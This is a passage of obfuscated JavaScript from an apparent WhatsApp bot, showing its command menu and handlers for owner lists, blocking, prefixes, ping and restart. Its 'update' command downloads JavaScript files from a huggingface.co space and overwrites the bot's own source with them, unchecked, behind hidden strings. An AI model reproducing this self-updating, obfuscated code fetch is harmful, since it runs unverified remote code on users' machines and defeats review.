*```DATE\x20:\x20'+_0x4cc469+_0x4accf0(0x25e)+_0xf864fa+_0x4accf0(0x352)+_0x272baf+_0x4accf0(0x584)+sign+'\x20'+_0xad3cd8+'checkupdate\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3e9)+sign+'\x20'+_0xad3cd8+'setsudo\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x521)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4c0)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3e5)+sign+'\x20'+_0xad3cd8+'self\x20\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4c2)+sign+'\x20'+_0xad3cd8+'block\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3fb)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3c8)+sign+'\x20'+_0xad3cd8+'setbio\x0a>\x20'+sign+'\x20'+_0xad3cd8+'restart\x0a>\x20'+sign+'\x20'+_0xad3cd8+'setname\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x448)+sign+'\x20'+_0xad3cd8+'tagall\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4cd)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x450)+sign+'\x20'+_0xad3cd8+'mute\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4d3)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x380)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x390)+sign+'\x20'+_0xad3cd8+'kickall\x0a>\x20'+sign+'\x20'+_0xad3cd8+'gcinfo\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x21b)+sign+'\x20'+_0xad3cd8+'gclink\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x2d0)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3f0)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x235)+sign+'\x20'+_0xad3cd8+'delppgc\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x452)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x398)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x43b)+sign+'\x20'+_0xad3cd8+'demote\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x378)+sign+'\x20'+_0xad3cd8+'opentime\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5f1)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x2dc)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x1d9)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5bb)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x58a)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4f7)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x1e4)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x204)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x32c)+sign+'\x20'+_0xad3cd8+'ytmp3\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x355)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3c0)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5ce)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x564)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x419)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x16e)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5e3)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x644)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x42e)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x201)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x56c)+sign+'\x20'+_0xad3cd8+'setprefix\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x42b)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x494)+sign+'\x20'+_0xad3cd8+'listcase\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x55f)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4bf)+sign+'\x20'+_0xad3cd8+'clearchat\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4f5)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x270)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x509)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4f4)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x1e2)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x341)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5a4)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x1a5)+sign+'\x20'+_0xad3cd8+'areact\x0a>\x20'+sign+'\x20'+_0xad3cd8+'qr\x0a>\x20'+sign+'\x20'+_0xad3cd8+'join\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x607)+sign+'\x20'+_0xad3cd8+'sticker\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x394)+sign+'\x20'+_0xad3cd8+'fancy\x0a>\x20'+sign+'\x20'+_0xad3cd8+'style\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x453)+sign+'\x20'+_0xad3cd8+'lyrics\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3ce)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x491)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x506)+sign+'\x20'+_0xad3cd8+'element\x20\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x347)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x393)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3e2)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x630)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x34c)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4e5)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x449)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x2d3)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5f5)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x322)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x25d)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x366)+sign+'\x20'+_0xad3cd8+'text2img\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x234)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3b3)+sign+'\x20'+_0xad3cd8+'checkip\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x647)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5fb)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x591)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x332)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3be)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x2a9)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x22e)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x52c)+sign+'\x20'+_0xad3cd8+'joke\x0a>\x20'+sign+'\x20'+_0xad3cd8+'rizz\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5da)+sign+'\x20'+_0xad3cd8+'flirt\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x623)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x3a4)+sign+'\x20'+_0xad3cd8+'aniquote\x20\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x318)+sign+'\x20'+_0xad3cd8+'gross\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x1cd)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x4d0)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x1f7)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x493)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x542)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x349)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x1c1)+sign+'\x20'+_0xad3cd8+'cecan-china\x0a>\x20'+sign+'\x20'+_0xad3cd8+_0x4accf0(0x187)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x5be)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x595)+sign+'\x20'+_0xad3cd8+_0x4accf0(0x617)+caption)}),await sleep(0x7d0),_0x4faf40(_0x460b36);break;}case _0x4accf0(0x4a0):{await _0x2cabfc();const _0xc94d5=images[Math[_0x4accf0(0x486)](Math['random']()*images[_0x4accf0(0x2e7)])];_0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'image':{'url':_0xc94d5},'caption':_0x2d8b27(_0x4accf0(0x218)+_0x4de663+_0x4accf0(0x35e)+(_0x54a9ad?_0x4accf0(0x190):_0x4accf0(0x383))+_0x4accf0(0x4a7)+(_0x2a9eeb?'๐ฟ๐๐๐๐๐':_0x4accf0(0x61d))+_0x4accf0(0x3f2)+_0xad3cd8+_0x4accf0(0x473)+platform[_0x4accf0(0x2bb)]()+_0x4accf0(0x369)+arch+_0x4accf0(0x592)+_0x4cc469+_0x4accf0(0x25e)+_0xf864fa+_0x4accf0(0x269))});break;}case _0x4accf0(0x49a):{await _0x2cabfc();let _0x58d908=_0x52f9bb[_0x4accf0(0x200)]?_0x4accf0(0x362):_0x4accf0(0x3a0);_0x218677('๐ข\x20The\x20bot\x20is\x20currently\x20in\x20*'+_0x58d908+_0x4accf0(0x34d));break;}case _0x4accf0(0x331):{if(!_0x37b1f2)return _0x218677(mess['only'][_0x4accf0(0x2b0)]);if(_0x52f9bb['publik'])return _0x218677(_0x4accf0(0x4bd));_0x52f9bb[_0x4accf0(0x200)]=!![],_0x218677(_0x4accf0(0x324));break;}case _0x4accf0(0x443):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);if(!_0x52f9bb[_0x4accf0(0x200)])return _0x218677('๐\x20The\x20bot\x20is\x20already\x20in\x20*private*\x20mode.');_0x52f9bb[_0x4accf0(0x200)]=![],_0x218677('๐\x20The\x20bot\x20is\x20now\x20in\x20*private*\x20mode.');break;}case _0x4accf0(0x2c6):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);let _0x13a581;if(_0x5c5597[_0x4accf0(0x458)])_0x13a581=_0x5c5597[_0x4accf0(0x458)][_0x4accf0(0x1b3)];else{if(_0xc223ee['length'])_0x13a581=_0xc223ee[0x0];else{if(_0x2f0db6)_0x13a581=_0x2f0db6[_0x4accf0(0x289)](/[^0-9]/g,'')+'@s.whatsapp.net';else return _0x218677(_0x4accf0(0x203));}}let _0x53d992=_0x4accf0(0x2f5),_0x43b1cf=fs[_0x4accf0(0x408)](_0x53d992)?JSON[_0x4accf0(0x57c)](fs[_0x4accf0(0x300)](_0x53d992,_0x4accf0(0x4b1))):[];if(_0x43b1cf[_0x4accf0(0x455)](_0x13a581))return _0x218677(_0x4accf0(0x62c));_0x43b1cf[_0x4accf0(0x645)](_0x13a581),fs[_0x4accf0(0x4d8)](_0x53d992,JSON['stringify'](_0x43b1cf,null,0x2)),_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x2e8)+_0x13a581[_0x4accf0(0x289)]('@s.whatsapp.net','')+_0x4accf0(0x192)),'mentions':[_0x13a581]});break;}case _0x4accf0(0x1b1):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);let _0x2172bf;if(_0x5c5597[_0x4accf0(0x458)])_0x2172bf=_0x5c5597[_0x4accf0(0x458)][_0x4accf0(0x1b3)];else{if(_0xc223ee[_0x4accf0(0x2e7)])_0x2172bf=_0xc223ee[0x0];else{if(_0x2f0db6)_0x2172bf=_0x2f0db6['replace'](/[^0-9]/g,'')+_0x4accf0(0x5b3);else return _0x218677(_0x4accf0(0x278));}}let _0x4c53c6=_0x4accf0(0x2f5),_0x18af2f=fs[_0x4accf0(0x408)](_0x4c53c6)?JSON[_0x4accf0(0x57c)](fs[_0x4accf0(0x300)](_0x4c53c6,_0x4accf0(0x4b1))):[];if(!_0x18af2f['includes'](_0x2172bf))return _0x218677('This\x20number\x20is\x20not\x20an\x20owner.');_0x18af2f=_0x18af2f[_0x4accf0(0x58b)](_0x23c60f=>_0x23c60f!==_0x2172bf),fs['writeFileSync'](_0x4c53c6,JSON[_0x4accf0(0x3e7)](_0x18af2f,null,0x2)),_0x4dbacb['sendMessage'](_0x5c5597['chat'],{'text':_0x2d8b27(_0x4accf0(0x485)+_0x2172bf[_0x4accf0(0x289)](_0x4accf0(0x5b3),'')+_0x4accf0(0x648)),'mentions':[_0x2172bf]});break;}case _0x4accf0(0x5a0):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);try{let _0x5c723e=JSON['parse'](fs[_0x4accf0(0x300)](_0x4accf0(0x2f5),_0x4accf0(0x4b1)));if(_0x5c723e['length']===0x0)return _0x218677(_0x4accf0(0x5c6));let _0x55b3de=_0x5c723e[_0x4accf0(0x57b)]((_0x310b51,_0x1dde47)=>_0x1dde47+0x1+_0x4accf0(0x1d1)+_0x310b51['replace'](_0x4accf0(0x5b3),''))[_0x4accf0(0x2ba)]('\x0a');_0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27('๐\x20*Sudo\x20List:*\x0a\x0a'+_0x55b3de),'mentions':_0x5c723e});}catch(_0xeb0ff5){console['error']('Error\x20reading\x20owner\x20file:',_0xeb0ff5),_0x218677(_0x4accf0(0x2dd));}break;}case _0x4accf0(0x17e):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);await _0x2cabfc();let _0x3248fd=[{'url':_0x4accf0(0x636),'path':_0x4accf0(0x64e),'name':'case.js'},{'url':'https://huggingface.co/spaces/API-XX/TEST/raw/main/links.js','path':_0x4accf0(0x205),'name':'links.js'},{'url':_0x4accf0(0x1d7),'path':_0x4accf0(0x616),'name':_0x4accf0(0x618)},{'url':_0x4accf0(0x22c),'path':_0x4accf0(0x2e5),'name':_0x4accf0(0x3a5)},{'url':_0x4accf0(0x5b9),'path':_0x4accf0(0x184),'name':'demon.js'}];try{let _0x3f20ba=[],_0x348f77=[],_0x4b427e=new Date()['toLocaleString']();for(let _0x357c14 of _0x3248fd){let _0xa4fc1c=fs[_0x4accf0(0x408)](_0x357c14['path'])?fs['statSync'](_0x357c14['path'])[_0x4accf0(0x2df)]:0x0,_0x406ba0=await fetch(_0x357c14[_0x4accf0(0x1ad)]);if(!_0x406ba0['ok']){_0x3f20ba[_0x4accf0(0x645)](_0x4accf0(0x16d)+_0x357c14[_0x4accf0(0x50b)]+'*.');continue;}let _0x2b5242=await _0x406ba0[_0x4accf0(0x17b)](),_0x2a6573=Buffer[_0x4accf0(0x4f3)](_0x2b5242,_0x4accf0(0x4b1)),_0x286cc3=((_0x2a6573-_0xa4fc1c)/0x400)[_0x4accf0(0x3c4)](0x2);if(_0x357c14[_0x4accf0(0x50b)]==='case.js'){let _0x545f1a=(fs['existsSync'](_0x357c14[_0x4accf0(0x582)])?fs['readFileSync'](_0x357c14['path'],'utf8'):'')[_0x4accf0(0x4d2)](/case\s+'([^']+)'/g)||[],_0x4af682=_0x2b5242['match'](/case\s+'([^']+)'/g)||[];_0x348f77=_0x4af682['filter'](_0x2c60b9=>!_0x545f1a['includes'](_0x2c60b9))[_0x4accf0(0x57b)](_0x11b5f9=>_0x11b5f9[_0x4accf0(0x289)]('case\x20\x27','')[_0x4accf0(0x289)]('\x27',''));}_0x3f20ba[_0x4accf0(0x645)](_0x286cc3>0x0?_0x4accf0(0x557)+_0x357c14[_0x4accf0(0x50b)]+'*\x20has\x20an\x20update\x20available!\x20(+'+_0x286cc3+_0x4accf0(0x533):'โ
\x20*'+_0x357c14['name']+_0x4accf0(0x539));}let _0x1d6a4a=_0x348f77['length']?_0x4accf0(0x3f4)+_0x348f77['join']('\x0a'):'โ
\x20No\x20new\x20cases\x20detected.';_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x4accf0(0x20b)},'caption':_0x2d8b27(_0x4accf0(0x323)+_0x4b427e+'\x0a\x0a'+_0x3f20ba[_0x4accf0(0x2ba)]('\x0a')+'\x0a\x0a'+_0x1d6a4a)});}catch(_0x472216){console[_0x4accf0(0x179)](_0x4accf0(0x384),_0x472216),_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':'โ\x20Error\x20while\x20checking\x20updates.\x20Try\x20again\x20later.'});}break;}case'update':{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)]['owner']);await _0x2cabfc();let _0x260764=[{'url':_0x4accf0(0x636),'path':_0x4accf0(0x64e),'name':_0x4accf0(0x424)},{'url':_0x4accf0(0x1ec),'path':_0x4accf0(0x205),'name':_0x4accf0(0x5ff)},{'url':_0x4accf0(0x1d7),'path':'./message/group.js','name':'group.js'},{'url':'https://huggingface.co/spaces/API-XX/TEST/raw/main/message.js','path':_0x4accf0(0x2e5),'name':_0x4accf0(0x3a5)},{'url':'https://huggingface.co/spaces/API-XX/TEST/resolve/main/demon.js','path':'./message/demon.js','name':_0x4accf0(0x3c9)}];try{let _0x32af55=[],_0x8983ff=[],_0xb97f34=new Date()[_0x4accf0(0x628)]();for(let _0x35b344 of _0x260764){let _0x46a201=fs[_0x4accf0(0x408)](_0x35b344[_0x4accf0(0x582)])?fs[_0x4accf0(0x300)](_0x35b344[_0x4accf0(0x582)],_0x4accf0(0x4b1)):'',_0x399015=Buffer['byteLength'](_0x46a201,_0x4accf0(0x4b1)),_0x468671=await fetch(_0x35b344[_0x4accf0(0x1ad)]);if(!_0x468671['ok']){_0x32af55[_0x4accf0(0x645)](_0x4accf0(0x421)+_0x35b344[_0x4accf0(0x50b)]+'*.');continue;}let _0xf434c=await _0x468671['text']();fs[_0x4accf0(0x4d8)](_0x35b344[_0x4accf0(0x582)],_0xf434c,'utf8');let _0x3c89ca=Buffer[_0x4accf0(0x4f3)](_0xf434c,_0x4accf0(0x4b1)),_0x214352=((_0x3c89ca-_0x399015)/0x400)['toFixed'](0x2);if(_0x35b344[_0x4accf0(0x50b)]===_0x4accf0(0x424)){let _0x1c695c=_0x46a201[_0x4accf0(0x4d2)](/case\s+'([^']+)'/g)||[],_0x3e734b=_0xf434c['match'](/case\s+'([^']+)'/g)||[];_0x8983ff=_0x3e734b[_0x4accf0(0x58b)](_0x369afc=>!_0x1c695c['includes'](_0x369afc))[_0x4accf0(0x57b)](_0x1e787b=>_0x1e787b[_0x4accf0(0x289)](_0x4accf0(0x585),'')[_0x4accf0(0x289)]('\x27',''));}_0x32af55[_0x4accf0(0x645)](_0x214352>0x0?_0x4accf0(0x313)+_0x35b344[_0x4accf0(0x50b)]+_0x4accf0(0x4ae)+_0x214352+_0x4accf0(0x533):_0x4accf0(0x313)+_0x35b344[_0x4accf0(0x50b)]+_0x4accf0(0x60a));}let _0x191378=_0x8983ff[_0x4accf0(0x2e7)]?_0x4accf0(0x2b6)+_0x8983ff['join']('\x0a'):_0x4accf0(0x64a);_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x4accf0(0x20b)},'caption':_0x2d8b27('๐\x20*Update\x20Completed!*\x0a๐
\x20*Updated\x20On:*\x20'+_0xb97f34+'\x0a\x0a'+_0x32af55[_0x4accf0(0x2ba)]('\x0a')+'\x0a\x0a'+_0x191378)});}catch(_0x2516df){console[_0x4accf0(0x179)](_0x4accf0(0x1ff),_0x2516df),_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x4accf0(0x620)});}break;}case _0x4accf0(0x5b5):{const _0x3ebd8b=performance[_0x4accf0(0x4ca)](),_0x2213eb=await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'text':_0x2d8b27(_0x4accf0(0x37d)+botName)}),_0x3a1aa8=performance[_0x4accf0(0x4ca)](),_0x37c566=(_0x3a1aa8-_0x3ebd8b)[_0x4accf0(0x3c4)](0x3);let _0x4c34a3='';if(_0x37c566<0x32)_0x4c34a3=_0x2d8b27(_0x4accf0(0x546));else{if(_0x37c566<0x64)_0x4c34a3=_0x2d8b27('โก\x20good\x20connection');else{if(_0x37c566<0xc8)_0x4c34a3=_0x2d8b27(_0x4accf0(0x5e8));else _0x37c566<0x1f4?_0x4c34a3=_0x2d8b27('๐ฌ\x20slow\x20connection'):_0x4c34a3=_0x2d8b27(_0x4accf0(0x30b));}}const _0x30ea18=_0x2d8b27(_0x4accf0(0x29a)+_0x37c566+_0x4accf0(0x413)+_0x4c34a3+_0x4accf0(0x624)+caption);await _0x4dbacb[_0x4accf0(0x17c)](_0x5c5597['chat'],{'protocolMessage':{'key':_0x2213eb[_0x4accf0(0x19c)],'type':0xe,'editedMessage':{'conversation':_0x30ea18}}},{});break;}case'runtime':case _0x4accf0(0x481):{_0x218677(themeemoji+_0x4accf0(0x3c6)+themeemoji+'\x0a*'+runtime(process['uptime']())+'*');}break;case _0x4accf0(0x30e):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)]['owner']);if(!_0x3ebfc6)return _0x218677(_0x4accf0(0x5fe));await _0x2cabfc();try{fs[_0x4accf0(0x4d8)](_0x230657,JSON[_0x4accf0(0x3e7)]({'prefix':_0x3ebfc6},null,0x2)),_0xad3cd8=_0x3ebfc6,_0x218677(_0x4accf0(0x54f)+_0x3ebfc6+'*');}catch(_0x5bad12){console[_0x4accf0(0x179)](_0x4accf0(0x44b),_0x5bad12),_0x218677('โ\x20Failed\x20to\x20update\x20the\x20prefix.');}break;}case _0x4accf0(0x462):{await _0x2cabfc();try{const _0x38f0fa=JSON[_0x4accf0(0x57c)](fs[_0x4accf0(0x300)](_0x4accf0(0x22f),_0x4accf0(0x4b1))),_0x4f5484=_0x38f0fa[_0x4accf0(0x54e)]||'.';_0x218677(_0x4accf0(0x2b4)+_0x4f5484+'`');}catch(_0x255eba){console[_0x4accf0(0x179)](_0x4accf0(0x4f6),_0x255eba),_0x218677(_0x4accf0(0x59a));}break;}case'delete':case'del':case'd':{if(!_0x37b1f2)return;if(!_0x5c5597[_0x4accf0(0x458)])return;try{await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'delete':{'remoteJid':_0x5c5597[_0x4accf0(0x3e8)],'fromMe':![],'id':_0x5c5597['quoted']['id'],'participant':_0x5c5597[_0x4accf0(0x458)][_0x4accf0(0x1b3)]}}),await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'delete':{'remoteJid':_0x5c5597[_0x4accf0(0x3e8)],'fromMe':!![],'id':_0x5c5597['id']}});}catch(_0x1d7913){console[_0x4accf0(0x5b7)]('Error\x20while\x20deleting\x20messages:',_0x1d7913);}}break;case _0x4accf0(0x24a):case'clear':{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);_0x4dbacb[_0x4accf0(0x15f)]({'delete':!![],'lastMessages':[{'key':_0x5c5597[_0x4accf0(0x19c)],'messageTimestamp':_0x5c5597[_0x4accf0(0x34b)]}]},_0x5c5597[_0x4accf0(0x3e8)]),await sleep(0x5dc),_0x218677(mess[_0x4accf0(0x5d3)]);}break;case _0x4accf0(0x442):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);await _0x2cabfc();let _0x257d6f;if(_0x13a9d2){if(_0x5c5597['quoted']&&_0x5c5597[_0x4accf0(0x458)][_0x4accf0(0x1b3)])_0x257d6f=_0x5c5597[_0x4accf0(0x458)][_0x4accf0(0x1b3)];else _0x3ebfc6&&(_0x257d6f=_0x3ebfc6[_0x4accf0(0x289)](/[^0-9]/g,'')+'@s.whatsapp.net');}else _0x257d6f=_0x5c5597['chat'];_0x257d6f&&_0x257d6f[_0x4accf0(0x289)](/[^0-9]/g,'')[_0x4accf0(0x2e7)]>=0x7?(await _0x4dbacb[_0x4accf0(0x532)](_0x257d6f,_0x4accf0(0x442)),_0x218677(mess['success'])):_0x218677(_0x4accf0(0x272));break;}case _0x4accf0(0x259):{if(!_0x37b1f2)return _0x218677(mess['only']['owner']);await _0x2cabfc();let _0x882f1d;_0x13a9d2?_0x882f1d=_0x5c5597['quoted']?_0x5c5597[_0x4accf0(0x458)]['sender']:_0x3ebfc6[_0x4accf0(0x289)](/[^0-9]/g,'')+_0x4accf0(0x5b3):_0x882f1d=_0x5c5597['chat'];_0x882f1d&&_0x882f1d[_0x4accf0(0x289)](/[^0-9]/g,'')[_0x4accf0(0x2e7)]>=0x7?(await _0x4dbacb[_0x4accf0(0x532)](_0x882f1d,_0x4accf0(0x259)),_0x218677(mess['success'])):_0x218677('Please\x20reply\x20to\x20a\x20message\x20or\x20provide\x20a\x20valid\x20number\x20to\x20unblock.');break;}case'setppbot':case _0x4accf0(0x468):{if(!_0x37b1f2)return _0x218677(mess['only'][_0x4accf0(0x2b0)]);await _0x2cabfc();if(!_0x38386a)return _0x218677('Send/Reply\x20to\x20Images\x20With\x20Caption\x20'+(_0xad3cd8+_0x3b6cc3));if(!/image/[_0x4accf0(0x17d)](_0x487bc6))return _0x218677('Send/Reply\x20to\x20Images\x20With\x20Caption\x20'+(_0xad3cd8+_0x3b6cc3));if(/webp/[_0x4accf0(0x17d)](_0x487bc6))return _0x218677('Send/Reply\x20to\x20Images\x20With\x20Caption\x20'+(_0xad3cd8+_0x3b6cc3));var _0x31c590=await _0x4dbacb[_0x4accf0(0x5dd)](_0x38386a,_0x4accf0(0x2e3));if(_0x4aa46e[0x0]==_0x4accf0(0x3db)){var {img:_0x4f020a}=await generateProfilePicture(_0x31c590);await _0x4dbacb[_0x4accf0(0x28c)]({'tag':'iq','attrs':{'to':_0x30aee7,'type':_0x4accf0(0x40b),'xmlns':'w:profile:picture'},'content':[{'tag':_0x4accf0(0x57f),'attrs':{'type':_0x4accf0(0x1e8)},'content':_0x4f020a}]}),fs[_0x4accf0(0x281)](_0x31c590),_0x218677(mess['success']);}else{var _0x43812=await _0x4dbacb[_0x4accf0(0x53d)](_0x30aee7,{'url':_0x31c590});fs[_0x4accf0(0x281)](_0x31c590),_0x218677(mess[_0x4accf0(0x5d3)]);}}break;case _0x4accf0(0x176):case _0x4accf0(0x16b):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)]['owner']);if(!_0x2f0db6)return _0x218677('*Example:\x20'+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x16a));try{await _0x4dbacb[_0x4accf0(0x43c)](_0x2f0db6),_0x218677(_0x4accf0(0x60e)+_0x2f0db6+'`*');}catch(_0xdd4536){console[_0x4accf0(0x179)](_0xdd4536),_0x218677(_0x4accf0(0x267));}break;}case'restart':if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)]['owner']);await _0x2cabfc(),_0x218677('*restarting...*'),await sleep(0xbb8),process[_0x4accf0(0x265)]();break;case _0x4accf0(0x47a):case _0x4accf0(0x4fa):{if(!_0x37b1f2)return _0x218677(mess['only'][_0x4accf0(0x2b0)]);if(!_0x3ebfc6)return _0x218677(_0x4accf0(0x3cf)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x2cc));try{await _0x4dbacb['updateProfileName'](_0x3ebfc6),_0x218677(_0x4accf0(0x598)+_0x3ebfc6+'`*');}catch(_0x1edb15){console[_0x4accf0(0x179)](_0x1edb15),_0x218677(_0x4accf0(0x1e0));}break;}case _0x4accf0(0x2b0):case _0x4accf0(0x342):case _0x4accf0(0x619):{let _0x3ae0dc=_0x5c5597['mentionedJid']&&_0x5c5597[_0x4accf0(0x3c7)][0x0]?_0x5c5597[_0x4accf0(0x3c7)][0x0]:_0x5c5597[_0x4accf0(0x2d8)]?_0x4dbacb[_0x4accf0(0x5b2)][_0x4accf0(0x1c0)]:_0x5c5597['sender'],_0x4cd4d2=await _0x4dbacb['profilePictureUrl'](_0x3ae0dc)[_0x4accf0(0x5c1)](_0x155191=>_0x4accf0(0x526)),_0x344b28=await _0x4dbacb[_0x4accf0(0x412)](_0x3ae0dc);await _0x4dbacb[_0x4accf0(0x61a)](_0x5c5597[_0x4accf0(0x3e8)],[['2347041039367@s.whatsapp.net',_0x4accf0(0x64d),_0x4accf0(0x2ab),_0x4accf0(0x62b)]],_0x5c5597),await _0x218677('Hello\x20๐,\x20if\x20you\x20wish\x20to\x20contact\x20the\x20owner,\x20please\x20use\x20the\x20provided\x20contact\x20details.');}break;case _0x4accf0(0x3cd):if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)]['group']);if(!_0x5a6cac&&!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);let 